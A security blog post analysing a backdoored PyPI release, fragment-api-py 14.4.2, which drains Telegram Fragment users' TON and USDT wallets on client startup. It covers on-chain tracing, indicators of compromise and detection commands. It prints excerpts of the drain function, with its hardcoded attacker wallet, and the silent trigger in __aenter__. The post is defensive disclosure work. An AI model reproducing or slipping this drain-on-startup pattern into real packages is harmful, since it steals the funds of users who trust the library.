Backdoored PyPI Package fragment-api-py 14.4.2 Drains TON Wallets on Startup

Kunal Singh5 min read

TL;DR

fragment-api-py is a Python client for Telegram’s Fragment marketplace. To pay for purchases, it holds the user’s wallet seed for The Open Network (TON). Version 14.4.2, published to PyPI on 2026-11-08, empties that wallet. When the client opens, it sends all Tether (USDT) and almost all TON to a wallet that the attacker controls. The normal async with FragmentClient(seed=...) line triggers it, before any purchase.

Two wallets lost 0.88 TON and 43.98 TON. GitHub issue #8(opens in new tab) reports the second drain.

An old release with a new version number

A diff of 14.4.2 against 14.4.1 is large and confusing. Modules are missing, other modules are new, and almost every file changed. It looks like a bad refactor.

A byte-for-byte comparison of 14.4.2 with every earlier release wheel points to an older base:

    12.1.0  identical=0   changed=28  added=4   removed=0
    13.0.0  identical=28  changed=4   added=0   removed=2
    14.0.0  identical=24  changed=8   added=0   removed=12
    14.4.1  identical=10  changed=14  added=8   removed=21

Closest base: 13.0.0 (28/32 files identical)
  changed: __init__.py, client.py, types/models.py, utils/wallet.py
  removed: tests/test_client.py, tests/test_preparation.py

14.4.2 is the 13.0.0 release with a backdoor in three files and a higher version number. The higher number makes pip install -U select it. In __init__.py, only the version string changed.

File timestamps in the source archive show that the attacker wrote the backdoor on 2026-10-12 and published it on 2026-11-08, about four weeks later.

The drain function

The theft is in sweep_wallet_to_self(). The name makes it look like a “consolidate funds” feature. It uses the library’s own lock, provider, and error types, and it returns a SweepResult model like the real API calls. Line 172 hardcodes the destination:

FragmentAPI/utils/wallet.py @ 14.4.2 (excerpt, lines 146-232)
def sweep_amounts(balance_nanoton: int, usdt_units: int) -> tuple[int, int]:
    ...
    usdt_gas = 60_000_000 if usdt_units > 0 else 0
    required = 100_000_000 + usdt_gas + 20_000_000
    ...
    return usdt_gas, balance_nanoton - required


async def sweep_wallet_to_self(client: FragmentClient) -> SweepResult:
    client._require_wallet()
    async with client._wallet_lock:
        async with _make_ton_client(client) as ton:
            wallet, _, _, _ = WALLET_CLASSES[client.wallet_version].from_mnemonic(
                client=ton, mnemonic=client.seed
            )
            owner = wallet.address.to_str(is_user_friendly=False)

            dest = Address("UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU")   # line 172

            state = await ton.get_info(wallet.address)
            balance = int(state.balance)
            usdt_units = await _get_usdt_units(ton, owner)
            usdt_gas, gram_amount = sweep_amounts(balance, usdt_units)

            builders = []
            if usdt_units > 0:
                builders.append(JettonTransferBuilder(
                    destination=dest, jetton_amount=usdt_units,
                    jetton_master_address=Address(USDT_TON_MASTER_ADDRESS),
                    response_address=wallet.address, amount=usdt_gas,
                ))
            if gram_amount > 0:
                builders.append(TONTransferBuilder(destination=dest, amount=gram_amount))
            ...
            result = await wallet.batch_transfer_message(builders)   # one atomic message

The function leaves only enough TON to pay the fees. That is 0.1 TON for the transfer and 0.02 TON as a margin, plus 0.06 TON if the wallet holds USDT. It sends everything else, TON and USDT, in one wallet message.

The trigger

The backdoor runs when the client opens, before any user code. The attacker added one call to __aenter__ at client.py:295:

FragmentAPI/client.py @ 14.4.2 (excerpt)
    async def __aenter__(self) -> FragmentClient:
        """Enter the asynchronous client context."""
        self._get_transport()
        await self._ensure_swept()
        return self

    async def _ensure_swept(self) -> None:
        if not self._sweep_on_init or self._sweep_done:
            return
        async with self._sweep_lock:
            if self._sweep_done:
                return
            if not self.has_wallet:
                raise ConfigurationError(ConfigurationError.SEED_REQUIRED)
            await self.sweep_to_self()
            self._sweep_done = True

A second call at the start of execute_prepared() (utils/wallet.py:410) catches code that does not use async with. A flag and a lock make sure the drain runs only once per client, so the wallet history does not show repeated transfers.

Where the money went

The attacker wallet is UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU. Its history shows both victims and one cash-out.

Source: https://tonviewer.com/UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU

The three inflows total 44.872001295 TON. The cash-out is the same amount minus network fees.

Victim 1 did not report the theft. SafeDep found it in the attacker wallet history. The amount matches the formula. The wallet held 0.999963599 TON, and 0.999963599 − 0.12 = 0.879963599. Three seconds later, the same wallet paid the library’s own FEE_ADDRESS from types/constants.py. This shows that fragment-api-py was running for that wallet. The drain happened about six hours after the upload, so the backdoor stole funds on its first day.

The attacker wallet has been active since at least 2026-10-22. On November 1, it received and sent about 1,000 TON. It also made recurring payments to one address on October 30, 31, and November 1. The IOC list includes both recipients as unattributed leads for exchanges and investigators.

How the release reached PyPI

  • No tag or commit. GitHub tags end at v14.4.1. Every other recent release has a tag.
  • Long-lived token. The release workflow publishes with a PyPI API token, and the maintainer builds most releases locally.
  • Same build profile. The 14.4.2 wheel came from a Windows machine set to UTC+4, like the maintainer’s local builds. An attacker can fake this, so it does not prove who uploaded the release. A compromised machine, a stolen token, or an insider all fit. Only PyPI and the maintainer can see which credential they used.

What to do

Run vet(opens in new tab) in your project to find known malicious packages in its manifests and lockfiles. Then check the installed version and search site-packages for the backdoor strings:

Terminal
$ vet scan -D .
$ pip show fragment-api-py | grep Version
$ grep -rn "UQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DU\|sweep_wallet_to_self\|_ensure_swept" $(python3 -c 'import site;print(" ".join(site.getsitepackages()))') 2>/dev/null

Indicators of compromise

IoC: fragment-api-py 14.4.2
Rowtypevaluerolefirst_seen_utcnotes
1packagepkg:pypi/fragment-api-py@14.4.2malicious release2026-11-08T12:12only this version; deleted from PyPI; no GitHub tag; built from 13.0.0
2sha25624c402f3c47e3d8bc29597d000def922fa507970e47322d6fd7f28a4d253d447malicious artifact2026-11-08T12:12fragment_api_py-14.4.2-py3-none-any.whl (67491 bytes)
3blake2b-256bbf72edbdbf0bbd04d9fb1ab03d736b384b0afdfaeffd3979051b3d83ce3772dmalicious artifact2026-11-08T12:12fragment_api_py-14.4.2-py3-none-any.whl; PyPI path packages/bb/f7/2edb...
4sha256f046a53fa9007ff4cecc3ca7c5811b3fe44b09905af162d260885d091519531emalicious artifact2026-11-08T12:12fragment_api_py-14.4.2.tar.gz (57595 bytes)
5blake2b-256df054024f33039dd480ceb888368fc4d04d28eff601f0fbbfb8c3bc768d71882malicious artifact2026-11-08T12:12fragment_api_py-14.4.2.tar.gz; PyPI path packages/df/05/4024...
6sha256356850fb88116cb9a9d84ab5af5c21c6a3e3c06e41d4eafb1047dad68c718aa9malicious file2026-11-08T12:12FragmentAPI/utils/wallet.py (sweep_wallet_to_self; hardcoded address at line 172)
7sha2568bc3211ec1aac493181decdb15dc75887c187601fd9e85174bb3f6dfcd8214c7malicious file2026-11-08T12:12FragmentAPI/client.py (_ensure_swept trigger in __aenter__)
8sha256384ceb536d9d2f2d2efe0a05a5a1c0e619371b5d5872da8172d12ed530a33b1emalicious file2026-11-08T12:12FragmentAPI/types/models.py (SweepResult)
9sha2560fa1040821dc03bd959654269b4ca9e42e9113af2b63e2dde591f9cb462d8bf1malicious file2026-11-08T12:12FragmentAPI/__init__.py (version bump to 14.4.2)
10code_stringsweep_wallet_to_selfcode marker2026-11-08T12:12FragmentAPI/utils/wallet.py:163
11code_string_ensure_sweptcode marker2026-11-08T12:12FragmentAPI/client.py:295/302; FragmentAPI/utils/wallet.py:410
12code_string_sweep_on_initcode marker2026-11-08T12:12FragmentAPI/client.py:165
13ton_addressUQAolfC7fyf__0H-1GzG9y5ZtV2CPC7yDno4W2cSVuYlJ6DUattacker drain wallet2026-10-22hardcoded in payload; wallet v4r2; active since at least 2026-10-22
14ton_address0:2895f0bb7f27ffff41fed46cc6f72e59b55d823c2ef20e7a385b671256e62527attacker drain wallet (raw)2026-10-22same as UQAolfC7...
15ton_addressUQDJvvpXs4bDBVBwnmchy4nJ-Y25Ck4RBfHzQI240qlVYbM8onward destination2026-11-10T07:11:59received 44.871449124 TON = both victims' funds minus fees
16ton_address0:c9befa57b386c30550709e6721cb89c9f98db90a4e1105f1f3408db8d2a95561onward destination (raw)2026-11-10T07:11:59same as UQDJvvp...
17ton_txSB60GTv+yhcRHBFV2H3KKCDKk3VXhoNf+/58FJAWfcU=victim 1 drain2026-11-08T18:19:30base64 tx hash; 0.879963599 TON to attacker
18ton_tx75750f71be9253551faf6b464fa5866ada16b86f2a17a00c2c230fedaa584121victim 2 drain2026-11-09T23:02:47lt 115624342000005; 43.982037696 TON to attacker
19ton_addressUQBrcPtKG-EPFP2X3cSyhcPofLsLOBm6ueevhO7p_5au4qvwrelated (unattributed)2026-11-01T17:34:08received 1006.54 TON from attacker wallet
20ton_addressEQCFJEP4WZ_mpdo0_kMEmsTgvrMHG7K_tWY16pQhKHwoOoy2related (unattributed)2026-10-30recurring recipient of attacker-wallet payments
20 rows5 columns
  • supply-chain
  • pypi
  • malware
  • crypto
  • wallet-drainer
  • telegram

Author

Kunal Singh

Kunal Singh

safedep.io

Share

Ship Code.Not Malware.

Start free with open source tools on your machine. Scale to a unified platform for your organization.